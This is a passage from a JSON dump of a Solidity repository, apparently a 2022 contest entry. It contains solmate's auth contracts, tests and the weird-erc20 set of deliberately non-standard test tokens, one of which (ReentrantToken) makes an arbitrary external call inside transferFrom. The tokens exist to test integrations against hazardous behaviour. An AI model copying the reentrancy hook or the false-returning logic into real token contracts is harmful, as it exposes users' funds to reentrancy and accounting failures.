    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract ReentrantToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Call Targets ---\n    mapping (address => Target) public targets;\n    struct Target {\n        bytes   data;\n        address addr;\n    }\n    function setTarget(address addr, bytes calldata data) external {\n        targets[msg.sender] = Target(data, addr);\n    }\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool res) {\n        res = super.transferFrom(src, dst, wad);\n        Target memory target = targets[src];\n        if (target.addr != address(0)) {\n            (bool status,) = target.addr.call{gas: gasleft()}(target.data);\n            require(status, \"call failed\");\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/ReturnsFalse.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract ReturnsFalseToken {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) external returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) public returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n        return false;\n    }\n    function approve(address usr, uint wad) external returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return false;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/RevertToZero.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract ReentrantToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(dst != address(0), \"transfer-to-zero\");\n        return super.transferFrom(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/RevertZero.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract RevertZeroToken is ERC20 {\n    // --- Init ---\n    constructor(uint _totalSupply) ERC20(_totalSupply) public {}\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(wad != 0, \"zero-value-transfer\");\n        return super.transferFrom(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/TransferFee.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract TransferFeeToken is ERC20 {\n\n    uint immutable fee;\n\n    // --- Init ---\n    constructor(uint _totalSupply, uint _fee) ERC20(_totalSupply) public {\n        fee = _fee;\n    }\n\n    // --- Token ---\n    function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], sub(wad, fee));\n        balanceOf[address(0)] = add(balanceOf[address(0)], fee);\n\n        emit Transfer(src, dst, sub(wad, fee));\n        emit Transfer(src, address(0), fee);\n\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/TransferFromSelf.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract Math {\n    // --- Math ---\n    function add(uint x, uint y) internal pure returns (uint z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint x, uint y) internal pure returns (uint z) {\n        require((z = x - y) <= x);\n    }\n}\n\ncontract TransferFromSelfToken is Math {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public constant decimals = 18;\n    uint256 public totalSupply;\n\n    mapping (address => uint)                      public balanceOf;\n    mapping (address => mapping (address => uint)) public allowance;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Init ---\n    constructor(uint _totalSupply) public {\n        totalSupply = _totalSupply;\n        balanceOf[msg.sender] = _totalSupply;\n        emit Transfer(address(0), msg.sender, _totalSupply);\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) virtual public returns (bool) {\n        _transfer(msg.sender, dst, wad);\n        return true;\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        if (allowance[src][msg.sender] != type(uint).max) {\n            require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n            allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n        }\n        _transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual public returns (bool) {\n        allowance[msg.sender][usr] = wad;\n        emit Approval(msg.sender, usr, wad);\n        return true;\n    }\n\n    // --- Internal ---\n    function _transfer(address src, address dst, uint wad) private {\n        require(balanceOf[src] >= wad, \"insufficient-balance\");\n        balanceOf[src] = sub(balanceOf[src], wad);\n        balanceOf[dst] = add(balanceOf[dst], wad);\n        emit Transfer(src, dst, wad);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Uint96.sol",
    "content": "// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract ERC20 {\n    // --- ERC20 Data ---\n    string  public constant name = \"Token\";\n    string  public constant symbol = \"TKN\";\n    uint8   public decimals = 18;\n    uint96  internal supply;\n\n    mapping (address => uint96)                      internal balances;\n    mapping (address => mapping (address => uint96)) internal allowances;\n\n    event Approval(address indexed src, address indexed guy, uint wad);\n    event Transfer(address indexed src, address indexed dst, uint wad);\n\n    // --- Math ---\n    function add(uint96 x, uint96 y) internal pure returns (uint96 z) {\n        require((z = x + y) >= x);\n    }\n    function sub(uint96 x, uint96 y) internal pure returns (uint96 z) {\n        require((z = x - y) <= x);\n    }\n    function safe96(uint256 n) internal pure returns (uint96) {\n        require(n < 2**96);\n        return uint96(n);\n    }\n\n    // --- Init ---\n    constructor(uint96 _supply) public {\n        supply = _supply;\n        balances[msg.sender] = _supply;\n        emit Transfer(address(0), msg.sender, _supply);\n    }\n\n    // --- Getters ---\n    function totalSupply() external view returns (uint) {\n        return supply;\n    }\n    function balanceOf(address usr) external view returns (uint) {\n        return balances[usr];\n    }\n    function allowance(address src, address dst) external view returns (uint) {\n        return allowances[src][dst];\n    }\n\n    // --- Token ---\n    function transfer(address dst, uint wad) virtual public returns (bool) {\n        return transferFrom(msg.sender, dst, wad);\n    }\n    function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n        uint96 amt = safe96(wad);\n\n        if (src != msg.sender && allowances[src][msg.sender] != type(uint96).max) {\n            allowances[src][msg.sender] = sub(allowances[src][msg.sender], amt);\n        }\n\n        balances[src] = sub(balances[src], amt);\n        balances[dst] = add(balances[dst], amt);\n        emit Transfer(src, dst, wad);\n        return true;\n    }\n    function approve(address usr, uint wad) virtual public returns (bool) {\n        uint96 amt;\n        if (wad == type(uint).max) {\n            amt = type(uint96).max;\n        } else {\n            amt = safe96(wad);\n        }\n\n        allowances[msg.sender][usr] = amt;\n\n        emit Approval(msg.sender, usr, amt);\n        return true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/Upgradable.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract Proxy {\n    bytes32 constant ADMIN_KEY = bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1);\n    bytes32 constant IMPLEMENTATION_KEY = bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1);\n\n    // --- init ---\n\n    constructor(uint totalSupply) public {\n        give(msg.sender);\n        upgrade(address(new ERC20(totalSupply)));\n    }\n\n    // --- auth ---\n\n    modifier auth() { require(msg.sender == owner(), \"unauthorised\"); _; }\n\n    function owner() public view returns (address usr) {\n        bytes32 slot = ADMIN_KEY;\n        assembly { usr := sload(slot) }\n    }\n\n    function give(address usr) public auth {\n        bytes32 slot = ADMIN_KEY;\n        assembly { sstore(slot, usr) }\n    }\n\n    // --- upgrade ---\n\n    function implementation() public view returns (address impl) {\n        bytes32 slot = IMPLEMENTATION_KEY;\n        assembly { impl := sload(slot) }\n    }\n\n    function upgrade(address impl) public auth {\n        bytes32 slot = IMPLEMENTATION_KEY;\n        assembly { sstore(slot, impl) }\n    }\n\n    // --- proxy ---\n\n    fallback() external payable {\n        address impl = implementation();\n        (bool success, bytes memory returndata) = impl.delegatecall{gas: gasleft()}(msg.data);\n        require(success);\n        assembly { return(add(returndata, 0x20), mload(returndata)) }\n    }\n\n    receive() external payable { revert(\"don't send me ETH!\"); }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/lib/weird-erc20/src/test.t.sol",
    "content": "// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {DSTest} from \"ds-test/test.sol\";\nimport {ProxiedToken, TokenProxy} from \"./Proxied.sol\";\n\ninterface ERC20 {\n    function totalSupply() external view returns (uint256);\n    function balanceOf(address account) external view returns (uint256);\n    function transfer(address recipient, uint256 amount) external returns (bool);\n    function allowance(address owner, address spender) external view returns (uint256);\n    function approve(address spender, uint256 amount) external returns (bool);\n    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ncontract User {\n    ERC20 token;\n    constructor(ERC20 _token) public {\n        token = _token;\n    }\n\n    function transfer(address dst, uint amt) external returns (bool) {\n        return token.transfer(dst, amt);\n    }\n\n    function transferFrom(address src, address dst, uint amt) external returns (bool) {\n        return token.transferFrom(src, dst, amt);\n    }\n\n    function approve(address usr, uint amt) external returns (bool) {\n        return token.approve(usr, amt);\n    }\n}\n\ncontract TestProxy is DSTest {\n    ProxiedToken underlying;\n    ERC20 proxy1;\n    ERC20 proxy2;\n    User user1;\n    User user2;\n\n    function setUp() public {\n        underlying = new ProxiedToken(type(uint256).max);\n\n        proxy1 = ERC20(address(new TokenProxy(address(underlying))));\n        proxy2 = ERC20(address(new TokenProxy(address(underlying))));\n\n        underlying.setDelegator(address(proxy1), true);\n        underlying.setDelegator(address(proxy2), true);\n\n        user1 = new User(proxy1);\n        user2 = new User(proxy2);\n\n        proxy1.transfer(address(user1), proxy1.totalSupply() / 2);\n        proxy2.transfer(address(user1), proxy1.totalSupply() / 2);\n    }\n\n    function testProxy(uint128 amt) public {\n        assertEq(proxy1.balanceOf(address(user1)), proxy2.balanceOf(address(user1)));\n        assertEq(proxy1.balanceOf(address(user2)), proxy2.balanceOf(address(user2)));\n\n        uint preBal1 = proxy2.balanceOf(address(user1));\n        uint preBal2 = proxy1.balanceOf(address(user2));\n\n        user1.transfer(address(user2), amt);\n        assertEq(proxy2.balanceOf(address(user1)), preBal1 - amt);\n        assertEq(proxy1.balanceOf(address(user2)), preBal2 + amt);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/package.json",
    "content": "{\n  \"name\": \"@rari-capital/solmate\",\n  \"license\": \"AGPL-3.0-only\",\n  \"version\": \"6.0.0\",\n  \"description\": \"Modern, opinionated and gas optimized building blocks for smart contract development.\",\n  \"files\": [\n    \"src/**/*.sol\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/Rari-Capital/solmate.git\"\n  },\n  \"devDependencies\": {\n    \"prettier\": \"^2.3.1\",\n    \"prettier-plugin-solidity\": \"^1.0.0-beta.13\"\n  },\n  \"scripts\": {\n    \"lint\": \"prettier --write src/**/*.sol\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/shell.nix",
    "content": "let\n  pkgs = import (builtins.fetchGit rec {\n    name = \"dapptools-${rev}\";\n    url = https://github.com/dapphub/dapptools;\n    rev = \"fb9476ded759da44c449eb391cc67bfb0df61112\";\n  }) {};\n\nin\n  pkgs.mkShell {\n    src = null;\n    name = \"rari-capital-solmate\";\n    buildInputs = with pkgs; [\n      pkgs.dapp\n    ];\n  }\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/auth/Auth.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)\nabstract contract Auth {\n    event OwnerUpdated(address indexed user, address indexed newOwner);\n\n    event AuthorityUpdated(address indexed user, Authority indexed newAuthority);\n\n    address public owner;\n\n    Authority public authority;\n\n    constructor(address _owner, Authority _authority) {\n        owner = _owner;\n        authority = _authority;\n\n        emit OwnerUpdated(msg.sender, _owner);\n        emit AuthorityUpdated(msg.sender, _authority);\n    }\n\n    modifier requiresAuth() {\n        require(isAuthorized(msg.sender, msg.sig), \"UNAUTHORIZED\");\n\n        _;\n    }\n\n    function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {\n        Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.\n\n        // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be\n        // aware that this makes protected functions uncallable even to the owner if the authority is out of order.\n        return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;\n    }\n\n    function setAuthority(Authority newAuthority) public virtual {\n        // We check if the caller is the owner first because we want to ensure they can\n        // always swap out the authority even if it's reverting or using up a lot of gas.\n        require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));\n\n        authority = newAuthority;\n\n        emit AuthorityUpdated(msg.sender, newAuthority);\n    }\n\n    function setOwner(address newOwner) public virtual requiresAuth {\n        owner = newOwner;\n\n        emit OwnerUpdated(msg.sender, newOwner);\n    }\n}\n\n/// @notice A generic interface for a contract which provides authorization data to an Auth instance.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)\ninterface Authority {\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) external view returns (bool);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/auth/authorities/MultiRolesAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {Auth, Authority} from \"../Auth.sol\";\n\n/// @notice Flexible and target agnostic role based Authority that supports up to 256 roles.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/MultiRolesAuthority.sol)\ncontract MultiRolesAuthority is Auth, Authority {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);\n\n    event PublicCapabilityUpdated(bytes4 indexed functionSig, bool enabled);\n\n    event RoleCapabilityUpdated(uint8 indexed role, bytes4 indexed functionSig, bool enabled);\n\n    event TargetCustomAuthorityUpdated(address indexed target, Authority indexed authority);\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}\n\n    /*///////////////////////////////////////////////////////////////\n                       CUSTOM TARGET AUTHORITY STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => Authority) public getTargetCustomAuthority;\n\n    /*///////////////////////////////////////////////////////////////\n                            ROLE/USER STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => bytes32) public getUserRoles;\n\n    mapping(bytes4 => bool) public isCapabilityPublic;\n\n    mapping(bytes4 => bytes32) public getRolesWithCapability;\n\n    function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {\n        return (uint256(getUserRoles[user]) >> role) & 1 != 0;\n    }\n\n    function doesRoleHaveCapability(uint8 role, bytes4 functionSig) public view virtual returns (bool) {\n        return (uint256(getRolesWithCapability[functionSig]) >> role) & 1 != 0;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                          AUTHORIZATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public view virtual override returns (bool) {\n        Authority customAuthority = getTargetCustomAuthority[target];\n\n        if (address(customAuthority) != address(0)) return customAuthority.canCall(user, target, functionSig);\n\n        return\n            isCapabilityPublic[functionSig] || bytes32(0) != getUserRoles[user] & getRolesWithCapability[functionSig];\n    }\n\n    /*///////////////////////////////////////////////////////////////\n               CUSTOM TARGET AUTHORITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setTargetCustomAuthority(address target, Authority customAuthority) public virtual requiresAuth {\n        getTargetCustomAuthority[target] = customAuthority;\n\n        emit TargetCustomAuthorityUpdated(target, customAuthority);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  PUBLIC CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setPublicCapability(bytes4 functionSig, bool enabled) public virtual requiresAuth {\n        isCapabilityPublic[functionSig] = enabled;\n\n        emit PublicCapabilityUpdated(functionSig, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                      USER ROLE ASSIGNMENT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setUserRole(\n        address user,\n        uint8 role,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getUserRoles[user] |= bytes32(1 << role);\n        } else {\n            getUserRoles[user] &= ~bytes32(1 << role);\n        }\n\n        emit UserRoleUpdated(user, role, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  ROLE CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setRoleCapability(\n        uint8 role,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getRolesWithCapability[functionSig] |= bytes32(1 << role);\n        } else {\n            getRolesWithCapability[functionSig] &= ~bytes32(1 << role);\n        }\n\n        emit RoleCapabilityUpdated(role, functionSig, enabled);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/auth/authorities/RolesAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Auth, Authority} from \"../Auth.sol\";\n\n/// @notice Role based Authority that supports up to 256 roles.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/RolesAuthority.sol)\n/// @author Modified from Dappsys (https://github.com/dapphub/ds-roles/blob/master/src/roles.sol)\ncontract RolesAuthority is Auth, Authority {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);\n\n    event PublicCapabilityUpdated(address indexed target, bytes4 indexed functionSig, bool enabled);\n\n    event RoleCapabilityUpdated(uint8 indexed role, address indexed target, bytes4 indexed functionSig, bool enabled);\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}\n\n    /*///////////////////////////////////////////////////////////////\n                            ROLE/USER STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => bytes32) public getUserRoles;\n\n    mapping(address => mapping(bytes4 => bool)) public isCapabilityPublic;\n\n    mapping(address => mapping(bytes4 => bytes32)) public getRolesWithCapability;\n\n    function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {\n        return (uint256(getUserRoles[user]) >> role) & 1 != 0;\n    }\n\n    function doesRoleHaveCapability(\n        uint8 role,\n        address target,\n        bytes4 functionSig\n    ) public view virtual returns (bool) {\n        return (uint256(getRolesWithCapability[target][functionSig]) >> role) & 1 != 0;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                          AUTHORIZATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function canCall(\n        address user,\n        address target,\n        bytes4 functionSig\n    ) public view virtual override returns (bool) {\n        return\n            isCapabilityPublic[target][functionSig] ||\n            bytes32(0) != getUserRoles[user] & getRolesWithCapability[target][functionSig];\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                  ROLE CAPABILITY CONFIGURATION LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setPublicCapability(\n        address target,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        isCapabilityPublic[target][functionSig] = enabled;\n\n        emit PublicCapabilityUpdated(target, functionSig, enabled);\n    }\n\n    function setRoleCapability(\n        uint8 role,\n        address target,\n        bytes4 functionSig,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getRolesWithCapability[target][functionSig] |= bytes32(1 << role);\n        } else {\n            getRolesWithCapability[target][functionSig] &= ~bytes32(1 << role);\n        }\n\n        emit RoleCapabilityUpdated(role, target, functionSig, enabled);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                      USER ROLE ASSIGNMENT LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setUserRole(\n        address user,\n        uint8 role,\n        bool enabled\n    ) public virtual requiresAuth {\n        if (enabled) {\n            getUserRoles[user] |= bytes32(1 << role);\n        } else {\n            getUserRoles[user] &= ~bytes32(1 << role);\n        }\n\n        emit UserRoleUpdated(user, role, enabled);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/Auth.t.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.10;\n\nimport {DSTestPlus} from \"./utils/DSTestPlus.sol\";\nimport {MockAuthChild} from \"./utils/mocks/MockAuthChild.sol\";\nimport {MockAuthority} from \"./utils/mocks/MockAuthority.sol\";\n\nimport {Authority} from \"../auth/Auth.sol\";\n\ncontract OutOfOrderAuthority is Authority {\n    function canCall(\n        address,\n        address,\n        bytes4\n    ) public pure override returns (bool) {\n        revert(\"OUT_OF_ORDER\");\n    }\n}\n\ncontract AuthTest is DSTestPlus {\n    MockAuthChild mockAuthChild;\n\n    function setUp() public {\n        mockAuthChild = new MockAuthChild();\n    }\n\n    function testSetOwnerAsOwner() public {\n        mockAuthChild.setOwner(address(0xBEEF));\n        assertEq(mockAuthChild.owner(), address(0xBEEF));\n    }\n\n    function testSetAuthorityAsOwner() public {\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n        assertEq(address(mockAuthChild.authority()), address(0xBEEF));\n    }\n\n    function testCallFunctionAsOwner() public {\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetOwnerWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(this));\n    }\n\n    function testSetAuthorityWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testCallFunctionWithPermissiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetAuthorityAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setAuthority(new MockAuthority(true));\n    }\n\n    function testFailSetOwnerAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(0xBEEF));\n    }\n\n    function testFailSetAuthorityAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testFailCallFunctionAsNonOwner() public {\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setOwner(address(this));\n    }\n\n    function testFailSetAuthorityWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.setAuthority(Authority(address(0xBEEF)));\n    }\n\n    function testFailCallFunctionWithRestrictiveAuthority() public {\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(address(0));\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.setOwner(address(0));\n    }\n\n    function testFailCallFunctionAsOwnerWithOutOfOrderAuthority() public {\n        mockAuthChild.setAuthority(new OutOfOrderAuthority());\n        mockAuthChild.updateFlag();\n    }\n\n    function testSetOwnerAsOwner(address newOwner) public {\n        mockAuthChild.setOwner(newOwner);\n        assertEq(mockAuthChild.owner(), newOwner);\n    }\n\n    function testSetAuthorityAsOwner(Authority newAuthority) public {\n        mockAuthChild.setAuthority(newAuthority);\n        assertEq(address(mockAuthChild.authority()), address(newAuthority));\n    }\n\n    function testSetOwnerWithPermissiveAuthority(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testSetAuthorityWithPermissiveAuthority(address deadOwner, Authority newAuthority) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testCallFunctionWithPermissiveAuthority(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(true));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerAsNonOwner(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testFailSetAuthorityAsNonOwner(address deadOwner, Authority newAuthority) public {\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testFailCallFunctionAsNonOwner(address deadOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.updateFlag();\n    }\n\n    function testFailSetOwnerWithRestrictiveAuthority(address deadOwner, address newOwner) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setOwner(newOwner);\n    }\n\n    function testFailSetAuthorityWithRestrictiveAuthority(address deadOwner, Authority newAuthority) public {\n        if (deadOwner == address(this)) deadOwner = address(0);\n\n        mockAuthChild.setAuthority(new MockAuthority(false));\n        mockAuthChild.setOwner(deadOwner);\n        mockAuthChild.setAuthority(newAuthority);\n    }\n\n    function testFailCallFunctionWithRestrictiveAuthority(address deadOwner) 